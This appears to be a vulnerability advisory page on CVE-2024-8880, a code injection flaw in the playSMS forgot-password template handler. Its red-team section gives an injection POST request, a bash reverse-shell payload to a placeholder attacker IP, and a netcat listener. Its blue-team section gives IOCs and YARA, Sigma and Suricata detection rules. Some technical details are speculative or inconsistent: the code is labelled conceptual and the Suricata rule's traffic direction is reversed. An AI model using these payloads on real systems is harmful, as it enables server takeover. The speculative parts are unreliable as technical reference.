CVE-2024-8880
Executive Summary
CVE-2024-8880 is a critical code injection vulnerability affecting playSMS versions 1.4.4 through 1.4.7. The flaw resides in the template handler component, specifically within the password reset functionality (/playsms/index.php?app=main&inc=core_auth&route=forgot&op=forgot). An attacker can manipulate the username, email, or captcha parameters to inject arbitrary code, leading to full remote code execution (RCE). While the attack complexity is high, a public proof-of-concept (PoC) exists, making exploitation feasible for skilled adversaries. The vulnerability was previously fixed in version 1.4.3 but was inadvertently re-introduced in subsequent releases. The official patch is to upgrade to the latest version of the playsms/tpl package or to playSMS version 1.4.8 or higher.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but is a PHP application-level flaw. However, the dependency on the playsms/tpl package is critical. Users must ensure this package is updated to a patched version to mitigate the risk. The re-introduction of the flaw highlights the importance of rigorous regression testing in supply chain management.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): High (H) - Requires specific conditions or knowledge.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - Vulnerability does not affect other components.
- Confidentiality (C): High (H) - Full data access possible.
- Integrity (I): High (H) - Full system compromise possible.
- Availability (A): High (H) - Service disruption possible.
Threat Level: Critical. Despite the high attack complexity, the public availability of exploit details and the potential for full server compromise make this a high-priority vulnerability.
Deep Dive & Mechanics
The vulnerability is a classic code injection flaw in the template handling mechanism of playSMS. The application uses a custom template engine that processes user-supplied input without proper sanitization. The vulnerable endpoint is the password reset form, which accepts username, email, and captcha parameters.
The core issue lies in how the application constructs and evaluates template strings. When a user submits the forgot password form, the application likely uses these parameters to build a template for an email or a response page. If an attacker injects PHP code (e.g., {system('id')} or <?php system('id'); ?>) into one of these fields, the template engine may evaluate it as code, leading to RCE.
The attack complexity is high because the attacker must:
- Understand the specific template syntax used by playSMS.
- Bypass any client-side or basic server-side validation.
- Potentially deal with session or CSRF tokens.
However, once successful, the attacker gains the ability to execute arbitrary commands on the web server, potentially leading to full system compromise.
Vulnerable vs. Patched Code
The vulnerable code is present in the template handler of playSMS versions 1.4.4 to 1.4.7. The fix, which was present in version 1.4.3 and re-introduced in 1.4.8, involves proper input sanitization and escaping of user-supplied data before it is passed to the template engine.
Vulnerable Code (Conceptual):
// Vulnerable: Directly using user input in template
$template = "Hello, {username}! Your reset code is: {code}";
$message = str_replace(['{username}', '{code}'], [$_POST['username'], $reset_code], $template);
// If $_POST['username'] contains {system('id')}, it may be evaluated
Patched Code (Conceptual):
// Patched: Escaping user input
$template = "Hello, {username}! Your reset code is: {code}";
$safe_username = htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8');
$message = str_replace(['{username}', '{code}'], [$safe_username, $reset_code], $template);
// User input is now escaped and cannot be interpreted as code
The actual patch involves updating the playsms/tpl package to a version that properly sanitizes all template variables.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable playSMS instance (version 1.4.4 to 1.4.7) using Docker or a manual LAMP stack.
- Ensure the application is accessible over the network.
Exploitation Steps:
- Identify the vulnerable endpoint:
/playsms/index.php?app=main&inc=core_auth&route=forgot&op=forgot - Craft a POST request with a malicious payload in the
usernameparameter. For example:POST /playsms/index.php?app=main&inc=core_auth&route=forgot&op=forgot HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded username={system('id')}&email=test@test.com&captcha=1234 - If the template engine evaluates the payload, the output of the
idcommand will be reflected in the response or executed on the server. - For a more advanced payload, use a reverse shell:
username={system('bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"')} - Set up a netcat listener on the attacker machine:
nc -lvnp 4444 - Send the request and receive the reverse shell.
Note: The exact template syntax may vary. The attacker may need to experiment with different delimiters (e.g., {{, {%, ${).
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual POST requests to the forgot password endpoint.
- Look for payloads containing
system,exec,shell_exec,passthru, or other PHP code execution functions in theusername,email, orcaptchaparameters. - Use a Web Application Firewall (WAF) to block requests with suspicious patterns.
Mitigation:
- Immediately upgrade to playSMS version 1.4.8 or higher.
- If upgrade is not possible, apply a virtual patch by adding WAF rules to block code injection attempts.
- Restrict access to the forgot password functionality to trusted IPs if possible.
- Enable detailed logging and alerting for the vulnerable endpoint.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/playsms/index.php?app=main&inc=core_auth&route=forgot&op=forgotwith unusual payloads. - Outbound connections from the web server to unknown IPs on common reverse shell ports (4444, 5555, etc.).
- POST requests to
- File System IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php). - Modified template files in the
playsms/tpldirectory.
- Unexpected files in the web root (e.g.,
- Process IOCs:
- Unusual processes running as the web server user (e.g.,
bash,nc,python).
- Unusual processes running as the web server user (e.g.,
- Log IOCs:
- PHP error logs showing
eval()orpreg_replace()withemodifier warnings. - Apache/Nginx access logs with
systemorexecin the request body.
- PHP error logs showing
Detection Engineering
YARA Rule
rule CVE_2024_8880_playSMS_CodeInjection {
meta:
description = "Detects exploit attempts for CVE-2024-8880 in playSMS"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8880"
strings:
$payload1 = "system(" ascii wide nocase
$payload2 = "exec(" ascii wide nocase
$payload3 = "shell_exec(" ascii wide nocase
$payload4 = "passthru(" ascii wide nocase
$payload5 = "eval(" ascii wide nocase
$payload6 = "preg_replace" ascii wide nocase
$path = "/playsms/index.php" ascii wide nocase
$param = "inc=core_auth" ascii wide nocase
condition:
all of ($path, $param) and 1 of ($payload*)
}
Sigma Rule
title: CVE-2024-8880 - playSMS Code Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the playSMS forgot password endpoint containing code injection payloads.
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-8880
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/playsms/index.php?app=main&inc=core_auth&route=forgot&op=forgot'
keywords:
- 'system('
- 'exec('
- 'shell_exec('
- 'passthru('
- 'eval('
- 'preg_replace'
condition: selection and keywords
falsepositives:
- Legitimate use of these functions in rare cases (unlikely in this context)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-8880 - playSMS Code Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/playsms/index.php?app=main&inc=core_auth&route=forgot&op=forgot";
http_uri;
content:"username=";
http_client_body;
pcre:"/(system|exec|shell_exec|passthru|eval|preg_replace)\s*\(/i";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2024-8880;
)
Remediation & Mitigation
- Immediate Action: Upgrade playSMS to version 1.4.8 or later. This is the only complete fix.
- Virtual Patching: If immediate upgrade is not possible, deploy WAF rules to block requests containing PHP code execution functions in the vulnerable parameters.
- Input Validation: Implement strict server-side validation for all user inputs, especially in template contexts.
- Least Privilege: Ensure the web server runs with minimal privileges to limit the impact of RCE.
- Monitoring: Enable detailed logging for the forgot password endpoint and set up alerts for suspicious activity.
- Backup: Maintain regular backups of the application and database to facilitate recovery.
Valters IT - This report is provided as-is for educational and defensive purposes. Always verify with official sources before taking action.